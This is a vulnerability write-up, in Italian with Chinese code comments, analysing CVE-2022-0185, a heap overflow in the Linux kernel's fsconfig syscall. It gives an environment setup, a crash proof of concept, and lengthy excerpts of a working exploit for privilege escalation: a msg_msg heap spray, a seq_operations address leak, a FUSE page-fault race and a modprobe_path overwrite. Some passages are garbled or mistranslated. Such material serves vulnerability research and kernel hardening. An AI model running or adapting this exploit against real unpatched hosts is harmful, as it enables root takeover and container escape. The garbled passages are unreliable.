
CVE-2022-0185 POC, Docker e analisi scritta
[toc]
ID della vulnerabilità: CVE-2022-0185
Punteggio della vulnerabilità:
Prodotto vulnerabile: Linux kernel - syscall fsconfig
Versione interessata: Linux kernel 5.1-rc1 ~ 5.16.2
Condizioni di sfruttamento: locale su Linux; capacità CAP_SYS_ADMIN (ottenibile direttamente con unshare, quindi nessuna limitazione)
Effetto dello sfruttamento: escalation dei privilegi locali; fuga dal container
Ottenere il codice sorgente: git clone git://kernel.ubuntu.com/ubuntu/ubuntu-focal.git -b Ubuntu-hwe-5.11-5.11.0-27.29_20.04.1 --depth 1
o https://mirrors.edge.kernel.org/pub/linux/kernel/v5.x/
Docker per la compilazione del kernel 5.X: chenaotian/kernelcompile
Docker per l'analisi della vulnerabilità: chenaotian/cve-2022-0185
Preparati due kernel: uno della distribuzione, uno compilato manualmente
Installare qemu, gdb, gdb-peda, ecc.
File relativi alla vulnerabilità in /root/cve-2022-0185
boot_exp.sh per avviare l'exploit e verificare l'ambiente di debug, kernel senza simboli 5.11.0-44 della distribuzioneboot_poc.sh per avviare il PoC e verificare l'ambiente, può far crashare il kernel ma non eseguire l'exploit, kernel compilato con simboli 5.13exp, codice sorgente dell'exploit (autore: BitsByWill), compilare direttamente exploit_fuse.Ambiente qemu: https://github.com/chenaotian/CVE-2022-0185/tree/main/qemuANDexp
Ambiente di esecuzione dell'exploit su macchina virtuale Ubuntu 20.04 utilizzando l'exploit originale exploit
Preparare una macchina virtuale Ubuntu 20.04, quindi sostituire il kernel:```shell apt-get install linux-image-5.11.0-44-generic
grep menuentry /boot/grub/grub.cfg vim /etc/default/grub #修改 GRUB_DEFAULT 选项为上面结果中想要启动内核的下标 update-grub #如果不生效的话则直接进入/boot 目录将之前的内核相关文件(带之前内核编号的文件)全部删掉,然后启动时候报找不到内核,然后手动选择内核启动也可以
#编译exp make fuse ./exploit
Effetto di elevazione dei privilegi

## Principio della vulnerabilità
La vulnerabilità si verifica nella chiamata di sistema `fsconfig` con l'opzione `FSCONFIG_SET_STRING`, utilizzata per configurare un contesto di filesystem già aperto. **Il prerequisito è possedere il privilegio `CAP_SYS_ADMIN`**:
> Lo scopo principale di `fsopen` è creare un contesto di filesystem e associarlo a un descrittore di file, restituendo il descrittore. Dopo `fsopen`, viene utilizzato `fsconfig`. Come si può intuire dal nome, con `fsopen` abbiamo creato un contesto di filesystem, e `fsconfig` serve probabilmente per configurare il contenuto di quel contesto. In effetti, `fsconfig` è principalmente dedicato a questa attività di configurazione, ma oltre al contesto di filesystem supporta anche altre operazioni.
### Punto di innesco della vulnerabilità
Innanzitutto, la vulnerabilità si trova nella funzione `legacy_parse_param`:
linux-5.11\fs\fs_context.c : 502 : legacy_parse_param```c
static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
struct legacy_fs_context *ctx = fc->fs_private;
unsigned int size = ctx->data_size;
size_t len = 0;
··· ···
··· ···
switch (param->type) {
case fs_value_is_string:
len = 1 + param->size;
fallthrough;
··· ···
}
if (len > PAGE_SIZE - 2 - size) //此处边界检查有问题
return invalf(fc, "VFS: Legacy: Cumulative options too large");
if (strchr(param->key, ',') ||
(param->type == fs_value_is_string &&
memchr(param->string, ',', param->size)))
return invalf(fc, "VFS: Legacy: Option '%s' contained comma",
param->key);
if (!ctx->legacy_data) {
ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL); //在第一次时会分配一页大小
if (!ctx->legacy_data)
return -ENOMEM;
}
ctx->legacy_data[size++] = ',';
len = strlen(param->key);
memcpy(ctx->legacy_data + size, param->key, len);
size += len;
if (param->type == fs_value_is_string) {
ctx->legacy_data[size++] = '=';
memcpy(ctx->legacy_data + size, param->string, param->size); //拷贝,可能越界
size += param->size;
}
ctx->legacy_data[size] = '\0';
ctx->data_size = size;
ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;
return 0;
}
Il punto cruciale è la successiva memcpy, che copierà il param->string da noi passato in ctx->legacy_data. La verifica del superamento dei limiti di copia si trova nel controllo (len > PAGE_SIZE - 2 - size) precedente. Questo controllo è problematico: il tipo di dato utilizzato è size_t, ovvero unsigned int. Se size > PAGE_SIZE - 2, si verifica un overflow intero con inversione, causando len < PAGE_SIZE - 2 - size, e quindi il superamento della verifica. Durante la copia successiva, size è maggiore di PAGE_SIZE - 2, provocando un superamento dei limiti nella copia.
Alcune strutture dati utilizzate:```c struct fs_context { const struct fs_context_operations ops; struct mutex uapi_mutex; / Userspace access mutex */ struct file_system_type *fs_type; void fs_private; / The filesystem's context */ void *sget_key; struct dentry root; / The root and superblock */ struct user_namespace user_ns; / The user namespace for this mount */ struct net net_ns; / The network namespace for this mount */ const struct cred cred; / The mounter's credentials / struct p_log log; / Logging buffer */ const char source; / The source name (eg. dev path) */ void security; / Linux S&M options / void s_fs_info; / Proposed s_fs_info / unsigned int sb_flags; / Proposed superblock flags (SB_) / unsigned int sb_flags_mask; / Superblock flags that were changed / unsigned int s_iflags; / OR'd with sb->s_iflags / unsigned int lsm_flags; / Information flags from the fs to the LSM / enum fs_context_purpose purpose:8; enum fs_context_phase phase:8; / The phase the context is in / bool need_free:1; / Need to call ops->free() / bool global:1; / Goes into &init_user_ns / bool oldapi:1; / Coming from mount(2) */ };
struct legacy_fs_context { char legacy_data; / Data page for legacy filesystems */ size_t data_size; enum legacy_fs_param param_type; };
struct fs_parameter { const char key; / Parameter name / enum fs_value_type type:8; / The type of value here */ union { char *string; void *blob; struct filename *name; struct file *file; }; size_t size; int dirfd; };
### Percorso di chiamata
Qui analizziamo lo stack di chiamate di funzione. Prima di tutto, l'entry point è sicuramente la system call `fsconfig`:
linux-5.11\fs\fsopen.c : 314 : SYSCALL_DEFINE5(fsconfig,...```c
SYSCALL_DEFINE5(fsconfig,
int, fd,
unsigned int, cmd,
const char __user *, _key,
const void __user *, _value,
int, aux)
{
struct fs_context *fc;
struct fd f;
int ret;
int lookup_flags = 0;
struct fs_parameter param = {
.type = fs_value_is_undefined,
};
··· ···
f = fdget(fd);
if (!f.file)
return -EBADF;
ret = -EINVAL;
if (f.file->f_op != &fscontext_fops)
goto out_f;
fc = f.file->private_data; //设置fc
··· ···
switch (cmd) {
··· ···
case FSCONFIG_SET_STRING:
param.type = fs_value_is_string;
//初始化结构体中的联合体中的string成员为用户传入的字符串
param.string = strndup_user(_value, 256);
if (IS_ERR(param.string)) {
ret = PTR_ERR(param.string);
goto out_key;
}
param.size = strlen(param.string);//设置size
break;
··· ···
··· ···
}
ret = mutex_lock_interruptible(&fc->uapi_mutex);
if (ret == 0) {
ret = vfs_fsconfig_locked(fc, cmd, ¶m);
mutex_unlock(&fc->uapi_mutex);
}
··· ···
··· ···
}
Nell'ingresso della chiamata di sistema fsconfig, viene prima inizializzata la struttura del contesto del filesystem fc in base al descrittore di file fd, quindi viene impostata la struttura param in base ai parametri passati dall'utente. La variabile di questa struttura param è quella utilizzata successivamente nella funzione vulnerabile legacy_parse_param. Successivamente, si entra nella funzione vfs_fsconfig_locked:
linux-5.11\fs\fsopen.c : 216 : vfs_fsconfig_locked```c static int vfs_fsconfig_locked(struct fs_context *fc, int cmd, struct fs_parameter *param) { struct super_block *sb; int ret;
ret = finish_clean_context(fc);
if (ret)
return ret;
switch (cmd) {
··· ···
default:
if (fc->phase != FS_CONTEXT_CREATE_PARAMS &&
fc->phase != FS_CONTEXT_RECONF_PARAMS)
return -EBUSY;
return vfs_parse_fs_param(fc, param);
}
fc->phase = FS_CONTEXT_FAILED;
return ret;
}
Innanzitutto viene chiamata la funzione `finish_clean_context`, che a sua volta chiama la funzione `legacy_init_fs_context` per registrare la tabella delle funzioni callback, e tale tabella include la funzione vulnerabile `legacy_parse_param`.
linux-5.11\fs\fs_context.c ```c
int finish_clean_context(struct fs_context *fc)
{
··· ···
error = legacy_init_fs_context(fc);
··· ···
}
static int legacy_init_fs_context(struct fs_context *fc)
{
fc->fs_private = kzalloc(sizeof(struct legacy_fs_context), GFP_KERNEL);
if (!fc->fs_private)
return -ENOMEM;
fc->ops = &legacy_fs_context_ops; //注册回调函数表
return 0;
}
const struct fs_context_operations legacy_fs_context_ops = {
.free = legacy_fs_context_free,
.dup = legacy_fs_context_dup,
.parse_param = legacy_parse_param, //漏洞函数
.parse_monolithic = legacy_parse_monolithic,
.get_tree = legacy_get_tree,
.reconfigure = legacy_reconfigure,
};
Dopo la registrazione, si entra nella funzione vfs_parse_fs_param per elaborare i parametri, dove viene invocata la callback appena registrata, che è la funzione vulnerabile.
linux-5.11\fs\fs_context.c : 98 : vfs_parse_fs_param```c int vfs_parse_fs_param(struct fs_context *fc, struct fs_parameter *param) { ··· ···
if (fc->ops->parse_param) {
ret = fc->ops->parse_param(fc, param); //漏洞所在函数
if (ret != -ENOPARAM)
return ret;
}
··· ···
··· ···
} EXPORT_SYMBOL(vfs_parse_fs_param);
Panoramica generale di seguito
- SYSCALL_DEFINE5(fsconfig,... : punto di ingresso della syscall
- vfs_fsconfig_locked
- finish_clean_context
- legacy_init_fs_context : registra tabella di funzioni callback
- vfs_parse_fs_param
- legacy_parse_param : vulnerabilità
## POC di riproduzione della vulnerabilità
poc di riproduzione della vulnerabilità:```c
#define _GNU_SOURCE
#include <sys/syscall.h>
#include <stdio.h>
#include <stdlib.h>
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#define FSCONFIG_SET_STRING 1
#define fsopen(name, flags) syscall(__NR_fsopen, name, flags)
#define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux)
int main(void)
{
char* val = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
int fd = 0;
fd = fsopen("ext4", 0);
if (fd < 0) {
puts("Opening");
exit(-1);
}
for (int i = 0; i < 5000; i++) {
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", val, 0);
}
return 0;
}
Dopo la compilazione statica, impacchettare nel filesystem e avviare il kernel con qemu.```shell cd ~/cve-2022-0185 gcc poc.c --static cp a.out rootfs/a.out cd rootfs find . | cpio -o --format=newc > ../rootfs.img cd ../ ./boot_poc.sh
Passa a un altro terminale e usa gdb per il debug remoto:```shell
cd ~
gdb ./vmlinux
target remote :10086
directory /root/linux-5.13
b legacy_parse_param
c
Alla prima chiamata:
legacy_data non è ancora inizializzata:
Successivamente verrà chiamata kmalloc per inizializzarla, dopodiché la stringa di input verrà copiata in legacy_data. Quando la funzione restituisce, la prima stringa è già stata copiata, con ',=' aggiunto all'inizio, per una lunghezza di 0x69.
Poiché chiamiamo fsconfig più volte per copiare le stringhe. Ogni volta passiamo 0x67 caratteri 'A', e la funzione legacy_parse_param aggiunge ',=' all'inizio, quindi ogni copia ha una lunghezza di 0x69. Dopo 39 copie, la lunghezza di legacy_data raggiungerà 0xfff. Blocchiamo l'esecuzione dopo 39 copie per verificare:
Osserviamo che data_size di legacy_data ha raggiunto 0xfff
Lo spazio di memoria di 0x1000 allocato da kmalloc è quasi al limite. Esaminiamo il punto in cui si verifica la vulnerabilità:
0x68 è inferiore a 0xffff... invertito, il controllo viene superato. Dopo la copia, i dati vanno direttamente oltre i limiti, sovrascrivendo il contenuto della memoria successiva:
Poi, continuando l'esecuzione, il kernel crasha:
Secondo il write-up dell'autore dell'exploit: CVE-2022-0185 - Winning a $31337 Bounty after Pwning Ubuntu and Escaping Google's KCTF Containers. Ha implementato due metodi di sfruttamento: uno per l'escalation dei privilegi su Ubuntu 20.04 con kernel 5.11.0-44, e un altro per ottenere la ricompensa su Google KCTF. Qui analizziamo principalmente lo sfruttamento su Ubuntu 20.04 con kernel 5.11.0-44.
L'autore dell'exploit aveva già usato questo metodo in due sfide CTF: fire_of_salvation e wall_of_perdition di corCTF 2021. Sovrascrivendo la struttura dell'intestazione del messaggio msg_msg tramite overflow o use-after-free, si ottiene lettura/scrittura arbitraria. Non analizzeremo questo metodo in dettaglio, ma solo le parti utilizzate nell'exploit.
msgsnd e msgrcv sono funzioni del kernel per la comunicazione tra processi tramite messaggi. In sintesi, i messaggi vengono inviati al kernel, che mantiene le code dei messaggi corrispondenti; quando si riceve un messaggio, viene estratto dalla coda.
Definizione del sorgente di msgsnd, la funzionalità principale è implementata da do_msgsnd:
linux-hwe-5.11_5.11.0.orig\linux-5.11\ipc\msg.c : 840```c static long do_msgsnd(int msqid, long mtype, void __user *mtext, size_t msgsz, int msgflg) { struct msg_queue *msq; struct msg_msg *msg; ··· ··· if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0) return -EINVAL; //检查长度,默认最长8192(可以调试断住看一下) ··· ··· //主要有用的功能在这里 msg = load_msg(mtext, msgsz); //调用load_msg 分配内存并从用户空间将消息拷贝过来。 ··· ··· msg->m_type = mtype; msg->m_ts = msgsz;
··· ···
//后面代码将msg 添加到消息队列。
··· ···
}
long ksys_msgsnd(int msqid, struct msgbuf __user *msgp, size_t msgsz, int msgflg) { ··· ··· return do_msgsnd(msqid, mtype, msgp->mtext, msgsz, msgflg); }
SYSCALL_DEFINE4(msgsnd, int, msqid, struct msgbuf __user *, msgp, size_t, msgsz, int, msgflg) { return ksys_msgsnd(msqid, msgp, msgsz, msgflg); }
`do_msgsnd` La lunghezza massima consentita del messaggio è 8192:

Poi è necessario analizzare attentamente la funzione `load_msg`, poiché nella funzione `load_msg` viene utilizzata la funzione `alloc_msg` per allocare spazio di memoria e organizzare la struttura del messaggio. Qui analizziamo prima la funzione `alloc_msg`:
linux-5.11\ipc\msgutil.c : 46 : alloc_msg```c
static struct msg_msg *alloc_msg(size_t len)
{
struct msg_msg *msg;
struct msg_msgseg **pseg;
size_t alen;
//#define DATALEN_MSG ((size_t)PAGE_SIZE-sizeof(struct msg_msg))
alen = min(len, DATALEN_MSG);
msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
··· ···
··· ···
while (len > 0) {
struct msg_msgseg *seg;
cond_resched();
//#define DATALEN_SEG ((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))
alen = min(len, DATALEN_SEG);
seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
if (seg == NULL)
goto out_err;
*pseg = seg;
seg->next = NULL;
pseg = &seg->next;
len -= alen;
}
··· ···
}
Qui i messaggi vengono segmentati in base alla loro lunghezza. Se la lunghezza del messaggio più la lunghezza dell'intestazione del messaggio supera una pagina (4k), allora verrà memorizzato in segmenti. Il primo segmento è l'intestazione del messaggio più il segmento 1 del messaggio; nell'intestazione del messaggio c'è un puntatore che punta al secondo segmento; il secondo segmento è l'intestazione del segmento del messaggio più il segmento 2 del messaggio.... Secondo quanto menzionato in precedenza, la lunghezza massima del messaggio è 8192, quindi il messaggio può essere suddiviso al massimo in 3 segmenti. E la lunghezza massima di ciascun segmento è una pagina (4k), mentre la minima deve includere l'intestazione del messaggio con lunghezza 0x30, quindi la dimensione di allocazione heap che possiamo controllare va da kmalloc-64 a kmalloc-4k. Tra questi, la struttura dell'intestazione del messaggio e la struttura dell'intestazione del segmento del messaggio sono le seguenti:```c
struct msg_msg {//消息头结构体
struct list_head m_list; //两个指针
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void security;
/ the actual message follows immediately */
};
struct msg_msgseg {
struct msg_msgseg next;
/ the next part of the message follows immediately */
};
Quindi la struttura della composizione del messaggio è simile a:

I messaggi esistono in una coda di messaggi, gestita da una lista doppiamente collegata; i messaggi stessi sono ancora memorizzati in segmenti, collegati da una lista singolarmente collegata. Ogni segmento ha una lunghezza massima di una pagina (4K). Successivamente, analizzeremo la funzione `do_msgsnd`:
linux-5.11\ipc\msgutil.c : 84 : load_msg```c
struct msg_msg *load_msg(const void __user *src, size_t len)
{
struct msg_msg *msg;
struct msg_msgseg *seg;
int err = -EFAULT;
size_t alen;
msg = alloc_msg(len); //根据消息长度生成上图那种结构体
if (msg == NULL)
return ERR_PTR(-ENOMEM);
alen = min(len, DATALEN_MSG); //根据分段情况从用户空间分段拷贝,这里拷贝第一段
if (copy_from_user(msg + 1, src, alen))
goto out_err;
for (seg = msg->next; seg != NULL; seg = seg->next) { //按顺序拷贝剩下的部分
len -= alen;
src = (char __user *)src + alen;
alen = min(len, DATALEN_SEG);
if (copy_from_user(seg + 1, src, alen))
goto out_err;
}
··· ···
··· ···
}
Le parti successive possono essere copiate direttamente dallo spazio utente in base alla segmentazione dei messaggi.
Osserviamo quindi la funzione di ricezione dei messaggi msgrcv. Allo stesso modo, la logica principale si trova nella funzione do_msgrcv. Qui si nota un piccolo dettaglio, ma non lo analizzeremo in dettaglio:
linux-5.11\ipc\msg.c : 1090 : do_msgrcv```c
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg, long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{
··· ···
if (msgflg & MSG_COPY) {
if ((msgflg & MSG_EXCEPT) || !(msgflg & IPC_NOWAIT))
return -EINVAL;
copy = prepare_copy(buf, min_t(size_t, bufsz, ns->msg_ctlmax));
if (IS_ERR(copy)) //搜索要发送的消息之前,准备一个消息备份(申请内存),用来存放消息
return PTR_ERR(copy);
}
··· ···
for (;;) {
··· ···
msg = find_msg(msq, &msgtyp, mode);
if (!IS_ERR(msg)) {
··· ···
if (msgflg & MSG_COPY) {
msg = copy_msg(msg, copy); //找到之后拷贝到消息备份中
goto out_unlock0;
}
··· ···
}
··· ···
}
··· ···
bufsz = msg_handler(buf, msg, bufsz); //将消息备份发送到用户
free_msg(msg); //释放消息备份
return bufsz;
}
Quando il flag `MSG_EXCEPT` è presente in `msgflg` (configurazione predefinita, opzione di compilazione `CONFIG_CHECKPOINT_RESTORE`), viene utilizzato l'invio di messaggi di backup. La logica specifica è: prima si alloca una struttura messaggio come backup del messaggio, dopo aver trovato il messaggio lo si copia nel backup, poi si invia allo spazio utente e infine si rilascia il backup. **In questo modo il messaggio originale non viene rimosso dalla coda tramite `unlink`**, ciò che vogliamo è proprio "l'azione di non rimuovere il messaggio originale dalla coda tramite `unlink`". Perché a volte, con un overflow, sovrascriviamo i puntatori della lista doppiamente collegata nell'intestazione del messaggio, causando un crash durante l'`unlink`, cosa che non vogliamo vedere.
Più o meno queste sono le conoscenze necessarie, le tecniche di sfruttamento coinvolte sono:
- Usare la funzione `msgsnd` per eseguire operazioni di spruzzatura nell'intervallo `kmalloc-64` ~ `kmalloc-4k` (tecnica tradizionale)
- Se si riesce a sovrascrivere il membro `m_ts` dell'intestazione di `msg_msg`, si modifica la lunghezza del messaggio, causando una lettura fuori dai limiti (nuova tecnica)
- Se si riesce a sovrascrivere il membro `struct msg_msgseg *next` dell'intestazione di `msg_msg` **durante il processo di `load_msg`**, si può ottenere una lettura/scrittura arbitraria. Questo di solito sfrutta una condizione di gara con `userfaulted`, ma nei kernel più recenti non è più possibile chiamare `userfaulted` dallo spazio utente. Qui si adotta un nuovo metodo.
#### Sostituto di `userfaulted`
Secondo l'analisi precedente della funzione `load_msg`, dopo che `alloc_msg` ha allocato la memoria per il messaggio, copia il messaggio dallo spazio utente. Se il messaggio è un messaggio segmentato lungo, è necessario copiarlo per segmenti. Se durante la copia del primo segmento si verifica un page fault, l'operazione di copia viene sospesa in attesa che l'eccezione venga gestita. In questo momento, sfruttando l'overflow per sovrascrivere il puntatore `msg_msgseg *next` in `msg_msg`, quando la gestione dell'eccezione termina e si riprende la copia del secondo segmento, si sovrascrive con contenuto arbitrario l'indirizzo specificato (scrittura arbitraria).
Normalmente questo richiederebbe la registrazione di una funzione di gestione dei page fault dello spazio utente, ma nelle versioni recenti non è più possibile chiamare la syscall `userfaulted` senza privilegi. Qui viene fornito un nuovo metodo: il filesystem utente `fuse`. Si può registrare un filesystem utente usando `fuse`, con proprie funzioni `read`, `write`, ecc. In questo modo, quando si verifica un page fault, si torna comunque allo spazio utente per gestire l'interruzione.
Vale la pena notare che fuse non ha una libreria compilata staticamente. BitsByWill e D3v17 l'hanno ritagliata, rimuovendo dlopen e altre cose, creando una libfuse3.a compilabile staticamente. Dì grazie a BitsByWill e D3v17.
[Riferimento](https://static.sched.com/hosted_files/lsseu2019/04/LSSEU2019%20-%20Exploiting%20race%20conditions%20on%20Linux.pdf)
#### Indirizzo di leak
Anche questa è una procedura standard nel kernel pwn: usare la struttura `seq_operations` per leakare indirizzi, che contiene tutti puntatori a funzioni:```c
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
Nello specifico, quando si apre /proc/self/stat, viene chiamata la funzione single_open, che inizializza la struttura seq_operations:```c
int single_open(struct file *file, int (*show)(struct seq_file *, void *),
void *data)
{
struct seq_operations *op = kmalloc(sizeof(*op), GFP_KERNEL_ACCOUNT);
int res = -ENOMEM;
if (op) {
op->start = single_start;
op->next = single_next;
op->stop = single_stop;
op->show = show;
res = seq_open(file, op);
··· ··· }
Inizializzare tutti i puntatori a funzione nella struttura `single_open` a funzioni del kernel; se uno qualsiasi viene divulgato, è possibile divulgare l'indirizzo di base del kernel.
#### Escalation dei privilegi
Tecnica tradizionale del kernel pwn: `modprobe_path`, una stringa nel kernel che punta a un percorso, per impostazione predefinita `/sbin/modprobe````c
char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe";
Quando viene eseguito un file con formato non riconosciuto, viene eseguito il file puntato da modprobe_path. Questo è eseguito dal kernel, quindi ha privilegi di root. Generalmente se è possibile modificare quella stringa, si considera l'escalation dei privilegi riuscita.
Qui non sono riuscito a compilare un ambiente che soddisfacesse l'esecuzione dell'exploit (sono troppo scarso), quindi ho copiato il vmlinuz della versione 5.11.0-44-generic installata con apt e l'ho usato. Dopo aver avviato qemu, effettivamente funzionava. Probabilmente a causa della parte cap o di fuse non configurata correttamente, l'esecuzione dell'exploit con un utente non root presentava ancora alcuni problemi, quindi durante il debug con qemu ho eseguito l'exploit con l'utente root, dopotutto l'exploit modifica modprobe_path nel kernel.
Per ottenere l'exploit, visitare direttamente il GitHub dell'autore. Può essere compilato in ambiente Ubuntu 20. Io qui ho solo fatto analisi, debug e verifica.
Struttura dell'exploit:
CVE-2022-0185-master\exploit_fuse.c : 258 : main```c int main(int argc, char **argv, char **envp) { ··· ···
if (!fork()) //子进程注册一个fuse 文件系统,用于提供userfaulted
{
fuse_main(sizeof(fargs_evil)/sizeof(char *) -1 , fargs_evil, &evil_ops, NULL);
}
sleep(1);
spray_4k(30);//堆将现有的free kmalloc消耗掉
uint64_t kbase = 0;
while(!kbase) //泄露kernel 基址部分
{
kbase = do_leak();
}
··· ···
spray_4k(30);//堆将现有的free kmalloc消耗掉
while (1)
{
do_win(); //任意地址写修改modprobe_path完成利用部分
··· ···
}
··· ···
}
exp主要分文两部分,分别是泄露和任意地址写。
#### 泄露kernel 基地址
我觉得该exp 的泄露部分用的非常巧妙,先溢出覆盖未被使用的部分,然后申请需要溢出覆盖的结构体这样不会破坏目标意外的部分,然后继续溢出精准覆盖目标。
主要是`do_leak`函数
CVE-2022-0185-master\exploit_fuse.c : 33 : do_leak```c
uint64_t do_leak ()
{
uint64_t kbase = 0;
char pat[0x1000] = {0};
char buffer[0x2000] = {0}, recieved[0x2000] = {0};
int targets[0x10] = {0};
msg *message = (msg *)buffer;
int size = 0x1018;
// spray msg_msg
for (int i = 0; i < 8; i++) //[1]先申请8个独立的消息队列,每个里面存放一条消息
{
memset(buffer, 0x41+i, sizeof(buffer));
targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(targets[i], message, size - 0x30, 0);
}/*消息大小 0x1018-0x30,实际会分成两段
*第一段 消息头msg_msg 0x30 和消息0xfd 共0x1000 kmalloc-4k
*第二段 消息段头 msg_msgseg 0x8 和消息0x18 共0x20 kmalloc-32*/
memset(pat, 0x42, sizeof(pat));
pat[sizeof(pat)-1] = '\x00';
puts("[*] Opening ext4 filesystem");
fd = fsopen("ext4", 0);
if (fd < 0)
{
puts("fsopen: Remember to unshare");
exit(-1);
}
strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
for (int i = 0; i < 117; i++)
{ //[2]溢出准备,多次调用fsconfig 将legacy_data 长度填充到4095准备溢出
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
}
// overflow, hopefully causes an OOB read on a potential msg_msg object below
puts("[*] Overflowing...");
pat[21] = '\x00';
char evil[] = "\x60\x10";
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
/*[3]溢出部分,输入长度21,由于每次溢出会自动加上",="所以实际23,再加上之前长度4095总共溢出22
*这里正常情况发生溢出溢出的是还没被使用(分配)过的内存*/
// spray more msg_msg
for (int i = 8; i < 0x10; i++)
{//[4]继续msgsnd,申请msg_msg 结构体,大概率申请到将legacy_data后面的地方
memset(buffer, 0x41+i, sizeof(buffer));
targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(targets[i], message, size - 0x30, 0);
}//msg_msg 头会覆盖刚刚溢出的内容
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0);
/*[5]继续溢出,legacy_data+size 的指针指向的位置正好在msg_msg结构体的中间,m_ts 位之前
*刚好覆盖m_ts,修改msg 的大小*/
puts("[*] Done heap overflow");
puts("[*] Spraying kmalloc-32");
for (int i = 0; i < 100; i++)
{//[6]上面提到过的泄露地址用结构体,多次打开stat,喷射多个0x20的seq_operations结构体
open("/proc/self/stat", O_RDONLY);
}//大概率会喷射到消息第二段0x20(kmalloc-32) 的后面
size = 0x1060;//接受消息的长度
puts("[*] Attempting to recieve corrupted size and leak data");
// go through all targets qids and check if we hopefully get a leak
for (int j = 0; j < 0x10; j++)
{//[7]接受消息,某一个消息的长度被改大,则会越界读到后面的seq_operations结构体
get_msg(targets[j], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
kbase = do_check_leak(recieved);//泄露成功
if (kbase)
{
close(fd);
return kbase;
}
}
puts("[X] No leaks, trying again");
return 0;
}
Qui, prima e dopo l'operazione di overflow, verrà disposta una parte del heap kmalloc usando msgsnd, con una lunghezza specifica del messaggio di 0x1018-0x30 = 0xfe8. Quindi, secondo la struttura del messaggio, verrà suddiviso in due segmenti: 0xfd e 0x18:
msg_msg 0x30 e messaggio 0xfd, totale 0x1000, appartiene a kmalloc-4kmsg_msgseg 0x8 e messaggio 0x18, totale 0x20, appartiene a kmalloc-32Preparare l'overflow: utilizzare fsconfig per riempire la lunghezza di legacy_data (lunghezza richiesta 4096, appartiene a kmalloc-4k) fino a 4095. Qui vengono usati 33 caratteri 'A', ma in realtà ogni volta vengono aggiunti i due caratteri ",=", quindi ogni volta vengono riempiti 35 caratteri, e dopo 117 riempimenti si arriva esattamente a 4095.
Indirizzo iniziale e fine della pagina:

Le modifiche nell'heap dal passo 2 al passo 6 sono mostrate nella figura. La freccia rossa indica la posizione a cui punta il puntatore legacy_data + size in fsconfig:

Questa parte è piuttosto semplice. Come accennato in precedenza, si fa in modo che copy_from_user in msgsnd generi un page fault, che viene gestito dalla funzione handler del filesystem utente fuse registrato. Durante questo periodo, si usa fsconfig per overflow e sovrascrivere il secondo segmento del messaggio.```c
void do_win()
{
int size = 0x1000;
char buffer[0x2000] = {0};
char pat[0x1000] = {0};
msg* message = (msg*)buffer;
memset(buffer, 0x44, sizeof(buffer));
//[1]在0x1337000 mmap 一页
void *evil_page = mmap((void *)0x1337000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
uint64_t race_page = 0x1338000;
msg *rooter = (msg *)(race_page-0x8); //后续关键消息开始设置在刚mmap 的页末尾
rooter->mtype = 1;
size = 0x1010;
int target = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(target, message, size - 0x30, 0);
//[2]设定消息长度为0xfe的消息,会分成两段
puts("[*] Opening ext4 filesystem");
fd = fsopen("ext4", 0);
if (fd < 0)
{
puts("Opening");
exit(-1);
}
puts("[*] Overflowing...");
strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
for (int i = 0; i < 117; i++) //[3]溢出前填充工作
{
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
}
puts("[*] Prepaing fault handlers via FUSE");
int evil_fd = open("evil/evil", O_RDWR);
if (evil_fd < 0)
{
perror("evil fd failed");
exit(-1);
}
//[4]使用fuse 文件系统mmap 一页,在0x1338000,也就是上面mmap 的后面
if ((mmap((void *)0x1338000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, evil_fd, 0)) != (void *)0x1338000)
{
perror("mmap fail fuse 1");
exit(-1);
}
pthread_t thread;
int race = pthread_create(&thread, NULL, arb_write, NULL);
if(race != 0)
{
perror("can't setup threads for race");
}
//[5]发送消息,消息开头在第一个mmap 页的末尾,会触发page fault,等待中断处理
send_msg(target, rooter, size - 0x30, 0);
//[6]开启线程,线程执行溢出操作,在等待中断处理的过程中覆盖msg_msg 的mst_msgseg *next指针
pthread_join(thread, NULL);
munmap((void *)0x1337000, 0x1000);
munmap((void *)0x1338000, 0x1000);
close(evil_fd);
close(fd);
}
